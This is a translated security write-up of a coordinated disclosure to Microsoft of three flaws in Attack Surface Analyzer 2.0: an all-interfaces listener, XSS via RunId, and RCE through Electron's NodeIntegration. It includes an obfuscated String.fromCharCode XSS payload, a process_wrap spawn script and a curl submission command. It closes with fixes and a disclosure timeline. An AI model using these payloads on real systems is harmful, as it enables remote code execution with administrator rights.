微软“攻击分析器”的三个漏洞利用

Kiven  2002天前

概述

本文主要描述了我是如何发现这三个漏洞的,以及它们的利用方法,我将最终通过微软的攻击分析器(Attack Surface Analyzer)实现远程代码执行。

经过摸索,我发现微软的攻击分析器使用了Electron.Net将Kestrel Web服务绑定了0.0.0.0地址(代表这是面向所有IP可以访问的服务)。如果绕过了Windows操作系统防火墙,或者在防火墙没有开启的情况下,那么远程攻击者就可以连接到该操作系统并执行命令。Web应用程序很容易受到跨站脚本(XSS)的攻击。远程攻击者可以提交一个带有javascript的虚假连接,ASA Electron应用程序就可能执行恶意命令。

此外,Electron.NET没有将NodeIntegration选项标志设置为False,这将允许javascript脚本Payload在受害者的计算机上打开一个新的进程。

背景说明

就在一个月之前,有人发布了一个微软新版本工具的链接。

我的老板Matt表示:

在与John Lambert休假时共同写下的第一个版本分析。

备注:以下连接中,可以看到他们关于该工具的一些情况说明,以及相关的演示文稿等:

https://twitter.com/JohnLaTwC/status/1141765341061627904

需要说明的是,我之前从未使用过这个工具,我只使用过一个功能类似的内部工具。

什么是攻击分析器(ASA)?

根据微软官方给出的文档:

攻击分析器(Attack Surface Analyzer)将会在安装其他软件产品之前和之后,保存系统状态的快照,并展示系统某些敏感组件的更改情况。

我们在安装应用程序或服务之前和之后运行攻击分析器,随后,可以比较安装前后的运行结果,从而了解应用程序在计算机上安装的内容。

攻击分析器(ASA)通常以root或admin身份运行,因为应用程序需要尽可能多的访问权限,以监视并记录对计算机的更改。

基于Electron实现

该应用程序的最新版本是基于Electron编写的。Electron是一个将Web应用程序封装为桌面应用程序的框架。我们可以将其视为Chromium一类的实例,它就是一个可以打开在本地运行的Web应用程序。要了解有关Electron的更多信息,可以查看其他相关教程。

Electron应用程序非常流行。这篇文章是我在VS Code中撰写的,而这正是一个Electron应用程序。

攻击分析器使用Electron.NET框架,这是一个嵌入式ASP.NET核心应用程序的Electron应用程序编译器。我对这两种框架的内部工作原理都不是很熟悉,但看起来,其运行的都是本地Kestrel Web服务器,然后再通过Electron打开一个ASP.NET Web应用程序。

运行攻击分析器

我下载了攻击分析器(ASA)2.0.143版本,并在安装了常用IE浏览器的Windows虚拟机中启动它。攻击分析器需要在管理员身份下运行,以便最大程度地监控和分析操作系统和应用程序。

在管理员权限命令提示符中,运行攻击分析器之后,系统弹出了Windows防火墙警告信息。

1.png

我非常好奇,为什么本地Electron应用需要打开防火墙端口?根据命令提示符内容,我找到了原因。

C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141>
Electron Socket IO Port: 8000
Electron Socket started on port 8000 at 127.0.0.1
ASP.NET Core Port: 8001
stdout: Use Electron Port: 8000
 
stdout: Hosting environment: Production
Content root path: C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141\resources\app\bin\
Now listening on: http://0.0.0.0:8001
Application started. Press Ctrl+C to shut down.

Kestrel Web服务正在侦听8001端口上的所有连接。这个端口并不是固定的,我们可以在应用程序的源代码中看到它从8000端口开始,并使用前两个可用的端口。第一个将由Electron使用,第二个由Kestrel Web服务使用。在一般情况下,这两个端口就是8000端口和8001端口。

Electron.NET/ElectronNET.Host/main.js#L141: 
function startAspCoreBackend(electronPort) {

// hostname needs to be localhost, otherwise Windows Firewall will be triggered.
portscanner.findAPortNotInUse(8000, 65535, 'localhost', function (error, electronWebPort) {
console.log('ASP.NET Core Port: ' + electronWebPort);
loadURL = `http://localhost:${electronWebPort}`;
const parameters = [`/electronPort=${electronPort}`, `/electronWebPort=${electronWebPort}`];
let binaryFile = manifestJsonFile.executable;

const os = require('os');
if (os.platform() === 'win32') {
binaryFile = binaryFile + '.exe';
}

let binFilePath = path.join(currentBinPath, binaryFile);
var options = { cwd: currentBinPath };
// Run the binary with params and options.
apiProcess = process(binFilePath, parameters, options);

apiProcess.stdout.on('data', (data) => {
console.log(`stdout: ${data.toString()}`);
});
});
}

这些端口将作为命令行参数传递给执行程序。程序文件位于名为executable的密钥文件中,该密钥位于AsaGui-windows-2.0.141/resources/app/bin/electron.manifest.json:

{
"executable": "AttackSurfaceAnalyzer-GUI"
}

使用procmon工具,我们可以看到执行过程中的参数。

AttackSurfaceAnalyzer-GUI.exe /electronPort=8000 /electronWebPort=8001

2.png

我们可以手动设置localhost:8001,在浏览器中查看应用程序状态。

03-asa-in-browser.png

漏洞1:监听所有接口

Kestrel Web服务开启监听后,如果它获得了打开端口的权限,或者防火墙失效(在Windows上已经禁用防火墙,或者在没有打开防火墙的情况下运行系统),那么任何人都可以从外部连接它。

我在虚拟机和主机之间创建了一个仅限主机连接的网络接口。在主机浏览器访问192.168.56.101:8001的虚拟机之后,显示以下错误提示:

HTTP错误400:请求的主机名无效。

3.png

在BurpSuite中进行访问,同样会出现相同的错误信息:

HTTP/1.1 400 Bad Request
Connection: close
Date: Tue, 21 May 2019 20:14:36 GMT
Content-Type: text/html
Server: Kestrel
Content-Length: 334

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<meta HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></ HEAD >
<BODY><h2>Bad Request - Invalid Hostname</h2>
<hr><p>HTTP Error 400. The request hostname is invalid.</p>
</BODY></HTML>

需要注意其中的Server: Kestrel响应头部。

Kerstel的主机过滤

Kestrel包含一个host过滤器。关于该过滤器,具体说明可以参考:

https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/kestrel#host-filtering

它通过Host头部过滤接收的请求。我们可以在Burp Suite中使用简单的Proxy(代理) > Options(选项) > Match and Replace(匹配和替换)规则将我们请求的主机头部从192.168.56.101:8001替换为localhost:8001并远程访问Web应用程序。

4.png

通过AllowedHosts在AsaGui-windows-2.0.141/resources/app/bin/appsettings.json中启用此设置: 

{
"Logging": {
"LogLevel": {
"Default": "Warning"
}
},
"AllowedHosts": "localhost",
"ApplicationInsights": {
"InstrumentationKey": "79fc14e7-936c-4dcf-ba66-9a4da6e341ef"
}
}

漏洞2:跨站脚本攻击(XSS)

该应用程序并没有发现注入点,因为用户可以输入的参数非常有限。我们可以对其进行扫描,并分析扫描结果。我们可以在特定路径中导出结果并创建报告。

RunId是用户输入参数的唯一接口。我们可以尝试一个基本的XSS注入。提交运行时,可以选择一些简单的功能,例如Certificates(证书)查询,以便快速运行。

注意:RunIds存储在SQLite数据库中,对于每个应用程序都是唯一的。

5.png

出现XSS漏洞根本原因分析

提交我们之前运行的请求。

http://192.168.56.101:8001/Home/StartCollection?Id=<script>alert(1)</script>&

File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true

然后,应用程序调用GetCollectors以获取有关当前运行和显示进程的信息。

http://192.168.56.101:8001/Home/GetCollectors

应用程序的响应是一个包含JSON对象的字符串。我们测试运行的的结果是:

{
"RunId": "<script>alert(1)</script>",
"Runs": {
"CertificateCollector": 3
}
}

RunId的值将直接显示在网页中。其根本原因是在js/Collect.js:174中:

function GetCollectors() {
$.getJSON('GetCollectors', function (result) {
var data = JSON.parse(result);
var rundata = data.Runs;
var keepChecking = false;
var anyCollectors = false;
var icon, midword;
$('#ScanStatus').empty();

if (object.keys(rundata).length > 0) {
// INJECTION
$('#ScanStatus').append($('<div/>', { html: l("%StatusReportFor") + data.RunId + ".</i>" }));
}

// Removed
});
}

data.RunId没有验证输入,并且也没有对输出进行编码。值得关注的是,ID看起来在Result选项卡中是以编码后的形式进行输出。我并不像Lewis Ardern擅长javascript技术,但是我通过这个简单的Payload就发现了漏洞,而看来我很幸运。

来自远程Payload的XSS

上面的反射性XSS漏洞几乎没有什么实际用途。但仔细一想,似乎并不是完全没有价值。如果攻击者可以让潜在受害者用户单击指向localhost:8001的链接并提交Payload,那么就可以在虚拟机内部的攻击分析器或浏览器中实现XSS攻击。但实际上,并不是那么好用。

XSS在运行攻击分析器Electron应用程序的虚拟机中持续存在。如果没有新的提交,可以在虚拟机的攻击分析器Electron应用程序中定位到“Scan”(扫描)选项卡,或者再次单击它,就可以看到警告内容。

6.png

当我们定位至“Scan”选项卡时,应用程序将检索最新提交的运行信息,也就是我们从主机虚拟机提交的信息,并执行XSS。这意味着,攻击者可以通过8001端口连接到应用程序,提交XSS,然后当我们在本地使用时,就会在攻击分析器中生效。

漏洞3:通过NodeIntegration将XSS攻击提升为RCE远程执行命令

一说起Electron,我立刻就联想到了远程代码执行(RCE)。有很多关于如何在Electron中将跨站脚本攻击(XSS)转换为远程代码执行(RCE)的文章。其中,对于Electron.NET来说,当NodeIntegration启用时,就很容易实现远程代码执行。

WebPreferences.cs:
/// <summary>
/// Whether node integration is enabled. Default is true.
/// </summary>
[DefaultValue(true)]
public bool NodeIntegration { get; set; } = true;

更多信息请参考:

https://github.com/electron/electron/blob/master/docs/tutorial/security.md#2-do-not-enable-nodejs-integration-for-remote-content

也就是说,我们可以利用跨站脚本攻击,在运行攻击分析器的虚拟机中开启进程。需要注意的是,还需要绕过NodeIntegration,因此如果只是禁用它可能还远远不够。

远程代码执行Payload

下面是Electron典型的将XSS提升到RCEPayload的方式。我们在Google上搜到了一段代码,并直接使用。

var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'calc.exe',args:[],cwd:null,windowsVerbatimArguments:false,
    detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},
{type:'ignore'}]});

我们使用javascript eval String.fromCharCode编码器将其转换为以下内容。然后从主机的浏览器中提交带有Payload的新连接作为RunId。需要注意的是,我添加了一个伪造的id元素,确保每个Payload的唯一性。

<img id="5" src=x on error=eval(String.fromCharCode(118,97,114,32,80,114,111,99,

101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,

40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,

115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,

99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,

102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,

101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,

32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,

121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,

101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,

115,112,97,119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,

44,97,114,103,115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,

111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,

102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,

101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,

123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,

58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,

111,114,101,39,125,93,125,41,59))>

我们也可以通过这个curl命令,在本地提交Payload:

curl -vvv -ik -H "Host:localhost:8001" "http://localhost:8001/Home/StartCollection?

Id=<img%20id=%225%22%20src=x%20on error=eval(String.fromCharCode(118,97,114,32,80,

114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,

110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,

101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,

99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,

117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,

118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,

110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,

105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,

39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,

119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,44,97,114,103,

115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,

101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,

101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,

105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,

58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,

114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,

41,59))>&File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true"

在虚拟机中,切换回“Scan”选项卡,或者重新加载上面的代码,我们就可以看到弹出了计算器。

7.png

顺便说一下,procmon中运行calc的命令行值看起来像是一个乱码。

8.png

从主机注入Payload:

1.gif

在本地注入Payload:

2.gif

总结

1、攻击分析器通常以Administrator身份运行,这使得攻击分析器可以更全面地了解操作系统,并为我们提供更准确的结果。这意味着,我们的远程代码执行也是以管理员的身份来执行命令。

2、最常见的端口是8000和8001。除非用户在这些端口上运行了其他业务,否则攻击者很容易发现其存在。

3、攻击分析器通常会在使用的虚拟机上运行一个进程,我们并不会在虚拟机上留下应用程序的线索。但是,这些虚拟机仍然能看出来一些异常。

修复方案

1、不要将Web浏览器绑定到所有接口。

2、在程序页面上使用编码后的RunIds。

3、在Electron.NET上启用NodeIntegration和其他的Electron防御机制,详细方法请查阅windows“安全性、本地功能和用户责任”。

上述问题已经在2019年5月22日提交至微软安全响应中心。

漏洞修复

1、NodeIntegration已禁用,并且ContextIsolation已启用

2、不监听所有接口 – 位于Gui/Properties/launchSettings.json中

3、对URI组件中的runId进行编码 – 位于Gui/wwwroot/js/Collect.js

时间线

2019年5月22日  获得微软致谢

2019年5月28日  微软安全响应中心要求具体解释漏洞情况

2019年6月6日    微软安全响应中心确认漏洞修复方式可行性

2019年6月14日  确认修复

2019年6月18日  公开披露

最新评论

昵称
邮箱
提交评论